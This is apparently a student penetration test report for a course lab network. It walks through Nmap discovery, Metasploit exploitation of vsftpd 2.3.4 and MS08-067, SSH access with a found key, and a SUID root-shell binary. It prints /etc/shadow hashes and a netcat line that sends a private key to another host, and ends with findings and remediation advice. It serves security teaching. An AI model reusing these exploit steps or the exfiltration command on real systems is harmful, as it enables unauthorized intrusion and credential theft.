

Eisha Khan

Internal Penetration Test Report

XYZCorp HQ Internal Network Assessment

COURSE	CSC 436 — Offensive Network Security
ASSESSMENT TYPE	Internal Penetration Test
TARGET NETWORK	192.168.2.0/24

Executive Summary

An internal penetration test was conducted against the XYZCorp HQ internal network to evaluate the security posture of hosts within the 192.168.2.0/24 subnet. The objective was to simulate the actions of an attacker who had already obtained access to the internal network and determine how far they could compromise systems by exploiting vulnerable services, weak configurations, and privilege escalation vulnerabilities.

The assessment followed a complete penetration testing methodology consisting of host discovery, service enumeration, vulnerability identification, exploitation, post-exploitation, privilege escalation, and evidence collection. Tools including Nmap, NetExec, Metasploit Framework, SSH, SearchSploit, Netcat, and native Linux and Windows commands were used throughout the engagement.

The assessment successfully compromised three different hosts. A vulnerable FTP server running vsftpd 2.3.4 was exploited to obtain an immediate remote root shell. An outdated Windows XP system vulnerable to MS08-067 was exploited, resulting in SYSTEM-level access through Meterpreter. A Linux workstation was accessed using a discovered SSH private key, after which privilege escalation was used to obtain full root privileges by exploiting a misconfigured SUID binary.

Overall, the test identified several critical weaknesses including outdated software, unsupported operating systems, insecure authentication mechanisms, exposed SSH credentials, and improper privilege configurations. Immediate remediation should focus on patching vulnerable systems, removing unsupported operating systems, implementing least-privilege access controls, securing SSH authentication, auditing SUID binaries, disabling unnecessary services, and conducting regular vulnerability assessments.

Table of Contents

1. Introduction	5. Enumeration
2. Scope	6. Vulnerability Analysis
3. Methodology	7. Exploitation
4. Reconnaissance	8. Privilege Escalation

9. Post Exploitation

10. Findings

11. Recommendations

12. Conclusion

Introduction

The purpose of this penetration test was to assess the security of the XYZCorp internal network from the perspective of an attacker who had already obtained access to the organization's internal infrastructure. Unlike external penetration tests that evaluate internet-facing systems, this assessment focused entirely on internal hosts and services that could be targeted following an initial compromise.

The engagement aimed to identify vulnerabilities that could allow attackers to gain unauthorized access, elevate privileges, access sensitive information, and compromise additional systems. Throughout the assessment, common offensive security methodologies were followed, including reconnaissance, scanning, enumeration, exploitation, privilege escalation, and post-exploitation. The primary goals were to discover active hosts, enumerate network services, identify vulnerable software, exploit discovered vulnerabilities, gain administrative privileges, assess the overall impact of successful attacks, and provide recommendations to improve network security.

Scope

Target Network: 192.168.2.0/24

Systems Identified

IP Address	Operating System	Status
192.168.2.20	Ubuntu Linux	Compromised
192.168.2.100	Windows Server 2016	Enumerated
192.168.2.147	Windows 10 Pro	Enumerated
192.168.2.155	Ubuntu FTP Server	Compromised
192.168.2.202	Windows XP	Compromised
192.168.2.224	Apache Web Server	Enumerated
192.168.2.254	Attacker Machine (Kali Linux)	—

Methodology

The penetration test followed the standard penetration testing lifecycle:

1. Host Discovery
2. Port Scanning
3. Service Enumeration
4. Vulnerability Identification
5. Exploitation

6. Privilege Escalation
7. Post Exploitation
8. Reporting

1. Reconnaissance

The engagement began by identifying live hosts within the internal subnet using **Nmap**.

```
$ nmap -sn 192.168.2.0/24
```

This scan identified eight active systems on the network.

```
(kali㉿kali)-[~]
└─$ nmap -sn 192.168.2.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 06:52 EST
Nmap scan report for pfSense.localdomain (192.168.2.1)
Host is up (0.00012s latency).
MAC Address: 00:50:56:01:EE:7F (VMware)
Nmap scan report for 192.168.2.20
Host is up (0.00016s latency).
MAC Address: 00:50:56:01:EE:79 (VMware)
Nmap scan report for 192.168.2.100
Host is up (0.00022s latency).
MAC Address: 00:50:56:01:EE:52 (VMware)
Nmap scan report for 192.168.2.147
Host is up (0.00089s latency).
MAC Address: 00:50:56:01:EE:5E (VMware)
Nmap scan report for 192.168.2.155
Host is up (0.0017s latency).
MAC Address: 00:50:56:01:EE:77 (VMware)
Nmap scan report for 192.168.2.202
Host is up (0.00044s latency).
MAC Address: 00:50:56:01:EE:78 (VMware)
Nmap scan report for 192.168.2.224
Host is up (0.0015s latency).
MAC Address: 00:50:56:01:EE:5F (VMware)
Nmap scan report for 192.168.2.254
Host is up.
Nmap done: 256 IP addresses (8 hosts up) scanned in 1.96 seconds

(kali㉿kali)-[~]
└─$ nmap -sV -sC -p- 192.168.2.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 06:53 EST
Nmap scan report for 192.168.2.20
Host is up (0.0012s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 33:e4:f6:36:56:3a:8f:4c:41:cb:5d:2d:ab:f2:53:8b (DSA)
| 2048 c5:e3:78:54:75:b7:7a:ad:e0:b2:46:cd:d4:89:60:58 (RSA)
| 256 12:f4:9a:57:c8:98:a4:16:c4:47:a9:0e:96:1a:31:3d (ECDSA)
|_ 256 18:46:62:96:6a:66:c9:ec:10:a6:78:ba:58:0b:43:b0 (ED25519)
MAC Address: 00:50:56:01:EE:79 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.04 seconds

(kali㉿kali)-[~]
└─$
```

Figure 1 – Nmap host discovery: 8 live hosts on 192.168.2.0/24

2. Enumeration

Each host was individually scanned to determine open ports, services, and operating systems. Additional SMB enumeration was performed using **NetExec**.

```
$ nmap -sV -sC <IP>
$ netexec smb 192.168.2.0/24
```

The scans identified Windows XP, Windows Server 2016, Windows 10, Ubuntu servers, an Apache web server, and an FTP server.

```
(kali㉿kali)-[~]
$ nmap -sV -sC -p- 192.168.2.155
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 07:02 EST
Nmap scan report for 192.168.2.155
Host is up (0.00050s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fc:42:3d:58:18:6f:89:85:e4:a3:78:18:8a:1c:a8:4c (DSA)
| 2048 9d:ef:4c:64:cc:80:a6:6b:ed:dd:6b:7d:92:1e:a1:69 (RSA)
| 256 f6:3d:f0:3c:19:2e:83:0c:35:e1:7d:83:b1:8d:43:be (ECDSA)
|_ 256 d3:cd:09:b7:a1:ad:f2:80:e5:7d:08:a3:fd:6d:ab:94 (ED25519)
MAC Address: 00:50:56:01:EE:77 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.61 seconds
```

Figure 2 – Service scan of 192.168.2.155: vsftpd 2.3.4 and OpenSSH

```
(kali㉿kali)-[~]
$ nmap -sV -sC -p- 192.168.2.224
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 07:04 EST
Nmap scan report for 192.168.2.224
Host is up (0.0016s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_ http-title: Network Tools
|_ http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 00:50:56:01:EE:5F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
```

Figure 3 – Service scan of 192.168.2.224: Apache httpd 2.4.7

3. Vulnerability Analysis

Based on service versions and operating systems, the following vulnerabilities were identified. SearchSploit and Metasploit modules were used to verify exploit availability.

System	Vulnerability
192.168.2.155	vsftpd 2.3.4 Backdoor
192.168.2.202	MS08-067
192.168.2.20	Exposed SSH key and SUID misconfiguration

4. Exploitation

Target 1 — 192.168.2.155 (vsftpd 2.3.4 Backdoor)

Metasploit module `exploit/unix/ftp/vsftpd_234_backdoor`. After configuring the module and executing the exploit, a command shell was successfully opened.

```
$ whoami  
root
```

This demonstrated complete compromise of the FTP server.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.2.155  
RHOSTS => 192.168.2.155  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.2.155:21 - Banner: 220 (vsFTPd 2.3.4)  
[*] 192.168.2.155:21 - USER: 331 Please specify the password.  
[+] 192.168.2.155:21 - Backdoor service has been spawned, handling...  
[+] 192.168.2.155:21 - UID: uid=0(root) gid=0(root) groups=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.2.254:45909 -> 192.168.2.155:6200) at 2024-12-17 07:30:32 -0500
```

Figure 4 – vsftpd 2.3.4 backdoor exploited – root shell (uid=0) on 192.168.2.155

Target 2 — 192.168.2.202 (MS08-067)

Module `exploit/windows/smb/ms08_067_netapi`. After exploitation, a Meterpreter session was established.

```
meterpreter> getuid  
NT AUTHORITY\SYSTEM
```

This confirmed full administrative privileges on the Windows XP host. Post-exploitation activities included browsing user directories, viewing Desktop folders, checking Documents, collecting system information, and identifying network interfaces.

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/windows/smb/ms0
use exploit/windows/smb/ms03_049_netapi /false
use exploit/windows/smb/ms04_007_killbill /misc/bin/false
use exploit/windows/smb/ms04_011_lsass /misc/bin/false
use exploit/windows/smb/ms04_031_netdde /usr/lib/avahi-autoipd/bin/false
use exploit/windows/smb/ms05_039_pnp /usr/bin/false
use exploit/windows/smb/ms06_025_rasmans_reg /usr/bin/false
use exploit/windows/smb/ms06_025_rras /usr/bin/false
use exploit/windows/smb/ms06_040_netapi /usr/bin/false
use exploit/windows/smb/ms06_066_nwapi /usr/bin/false
use exploit/windows/smb/ms06_066_nwwks /usr/bin/false
use exploit/windows/smb/ms06_070_wkssvc /usr/bin/false
use exploit/windows/smb/ms07_029_msdns_zonename /usr/bin/false
use exploit/windows/smb/ms08_067_netapi /usr/bin/false
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index /usr/bin/false
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.2.202
RHOSTS => 192.168.2.202
msf6 exploit(windows/smb/ms08_067_netapi) > set TARGET 0
TARGET => 0
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.2.254:4444
[*] 192.168.2.202:445 - Automatically detecting the target...
[*] 192.168.2.202:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.2.202:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.2.202:445 - Attempting to trigger the vulnerability...
[*] Sending stage (177734 bytes) to 192.168.2.202
[*] Meterpreter session 1 opened (192.168.2.254:4444 -> 192.168.2.202:1081) at 2024-12-17 07:37:34 -0500

meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > 
```

Figure 5 – MS08-067 exploitation – Meterpreter session opened on 192.168.2.202

```
100666/rw-rw-rw- 178 0.0 fil 2018-11-17 23:24:13 -
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

Figure 6 – getuid confirms SYSTEM-level privileges

Target 3 — 192.168.2.20 (Exposed SSH Key)

During enumeration, an SSH private key was discovered and used to authenticate to the Linux machine.

```
$ ssh -i linux3_rsa dsu@192.168.2.20
$ whoami
dsu
```

```
ls
billy-goat-3749631_1920.jpg
billy-goat-459232_1920.jpg
boss.jpg
casual-team.jpg
dwight.jpg
goat-1388962_1920.jpg
goat-1438254_1920.jpg
goat-1461917_1920.jpg
goat-1596880_1920.jpg
goat-2216868_1920.jpg
goat-3412678_1920.jpg
goat-3613728_1920.jpg
goat-3752265_1920.jpg
goat-50290_1920.jpg
goats-2719445_1920.jpg
linux3_rsa
logo.jpg
olympics.jpg
stone-goat-2175189_1920.jpg
nano linux3_rsa
Error opening terminal: unknown.
[deprater@kali:~]$
```

Figure 7 – Discovery of the exposed SSH private key (linux3_rsa)

```
ssh -i linux3_rsa dsu@192.168.2.20
Pseudo-terminal will not be allocated because stdin is not a terminal.
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.19.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

WARNING: Security updates for your current Hardware Enablement Stack
ended on 2016-08-04:
 * http://wiki.ubuntu.com/1404_HWE_EOL

There is a graphics stack installed on this system. An upgrade to a
configuration supported for the full lifetime of the LTS will become
available on 2016-07-21 and can be installed by running 'update-manager'
in the Dash.

whoami
dsu
[deprater@kali:~]$
```

Figure 8 – SSH login to 192.168.2.20 using the recovered key

5. Privilege Escalation

While exploring the user's home directory, a suspicious executable named `runme` was discovered. Its source code revealed:


```
setuid(0);
system("/bin/bash");
```

Running the executable resulted in root access.

```
$ whoami
root
$ id
uid=0(root)
```

After obtaining root, additional files were examined. Sensitive files included `/etc/passwd`, `/etc/shadow`, `.ssh/`, and `authorized_hosts`.

```
int main()
{
    printf("Can you figure out how to run me?\n");

    char c;
    scanf("%c", &c);

    if(c == 'y')
    {
        printf("Flag={thec4keisali3}\n");
        printf("Dropping you to a root shell now. GLHF\n");
        setuid(0);
        system("/bin/bash");
    }
    else
    {
        printf("Wrong\n");
    }
    return 0;
}
```

Figure 9 – Source of the SUID binary "runme": `setuid(0) + system("/bin/bash")`

```
y
whoami
root
id
uid=0(root) gid=1000(dsu) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(dsu)
```

Figure 10 – Executing runme yields a root shell (uid=0)


```
cat /etc/shadow
root:$6$1e3eD8g1$7ejw0VIFZPUboJV0gkmyr1A1G0TUuUXZ2UjRfPfEb1Wc0bF9ZrSRXNN0dP2Tf0RwWSq0mVNOL//IRwYx8yBl1:17839:0:99999:7:::
daemon:*:16652:0:99999:7:::
bin:*:16652:0:99999:7:::
sys:*:16652:0:99999:7:::
sync:*:16652:0:99999:7:::
games:*:16652:0:99999:7:::
man:*:16652:0:99999:7:::
lp:*:16652:0:99999:7:::
mail:*:16652:0:99999:7:::
news:*:16652:0:99999:7:::
uucp:*:16652:0:99999:7:::
proxy:*:16652:0:99999:7:::
www-data:*:16652:0:99999:7:::
backup:*:16652:0:99999:7:::
list:*:16652:0:99999:7:::
irc:*:16652:0:99999:7:::
gnats:*:16652:0:99999:7:::
nobody:*:16652:0:99999:7:::
libuuid:*:16652:0:99999:7:::
syslog:*:16652:0:99999:7:::
messagebus:*:16652:0:99999:7:::
usbmux:*:16652:0:99999:7:::
dnsmasq:*:16652:0:99999:7:::
avahi-autoipd:*:16652:0:99999:7:::
kernoops:*:16652:0:99999:7:::
rtkit:*:16652:0:99999:7:::
saned:*:16652:0:99999:7:::
whoopsie:*:16652:0:99999:7:::
speech-dispatcher:*:16652:0:99999:7:::
avahi:*:16652:0:99999:7:::
lightdm:*:16652:0:99999:7:::
colord:*:16652:0:99999:7:::
hplip:*:16652:0:99999:7:::
pulse:*:16652:0:99999:7:::
dsu:$6$eGUBxis.$ClbVLf3umgfoyAl2A10MHDCJ.vl3bNZHm3dAH6xVtMdszKU5wB8s5KA9h8gmpqGZY3pqi9mzFhXUGwbvjtB50:17839:0:99999:7:::
sshd:*:17859:0:99999:7:::
```

Figure 11 – Reading /etc/shadow with root privileges

6. Post Exploitation

Following successful compromise, additional enumeration was performed.

Linux

Viewing user directories, enumerating the `.ssh` folder, reading `authorized_hosts`, reading `/etc/passwd` and `/etc/shadow`, inspecting bash history, viewing SSH configuration, collecting network configuration, and reviewing installed users.

```
cd .ssh/
ls
nc 192.168.2.155 1000 < id_rsa
ls
cat id_rsa.pub < authorized_hosts
touch authorized_hosts
cat id_rsa.pub < authorized_hosts
ls
cat id_rsa.pub > authorized_hosts
ls
cat authorized_hosts
```

Figure 12 – Post-exploitation: enumerating the .ssh directory and authorized_hosts

Windows

Enumerating user profiles, inspecting Desktop folders, viewing Documents, gathering IP configuration, confirming SYSTEM privileges, and enumerating the filesystem. These actions demonstrated the level of access an attacker would possess after successful compromise.

Findings

CRITICAL Finding 1 — Outdated FTP Service

Affected Host: 192.168.2.155 | **CVSS:** 9.8

Impact: Remote attackers can obtain full root access without authentication.

Recommendation: Upgrade vsftpd and disable vulnerable versions.

CRITICAL Finding 2 — MS08-067

Affected Host: 192.168.2.202 | **CVSS:** 10.0

Impact: Remote code execution leading to SYSTEM privileges.

Recommendation: Patch Windows systems and retire unsupported operating systems.

HIGH Finding 3 — Exposed SSH Credentials

Affected Host: 192.168.2.20

Impact: Unauthorized remote login.

Recommendation: Rotate SSH keys and restrict file permissions.

CRITICAL Finding 4 — Improper SUID Configuration

Affected Host: 192.168.2.20

Impact: Privilege escalation to root.

Recommendation: Remove unnecessary SUID permissions and review custom binaries.

Recommendations

- Upgrade all outdated software.
- Remove unsupported operating systems such as Windows XP.
- Disable SMBv1 where possible.
- Apply security patches regularly.
- Audit SSH keys and remove unauthorized keys.
- Restrict SUID permissions to only essential binaries.
- Enforce least privilege.
- Monitor authentication logs.
- Perform regular vulnerability scans.

- Conduct periodic penetration testing.

Conclusion

The penetration test successfully demonstrated that several systems within the XYZCorp internal network could be fully compromised through publicly known vulnerabilities, insecure configurations, and improper privilege management. Three separate hosts were compromised during the assessment, resulting in root access on two Linux systems and SYSTEM-level access on a Windows XP machine. The vulnerabilities identified require immediate remediation, as they provide attackers with unrestricted administrative control and create opportunities for lateral movement throughout the internal network.

The assessment highlights the importance of maintaining current software versions, applying security patches promptly, securing authentication mechanisms, and regularly auditing system configurations. By addressing the weaknesses identified in this report and implementing the recommended security controls, XYZCorp can significantly improve its overall security posture and reduce the risk of future attacks.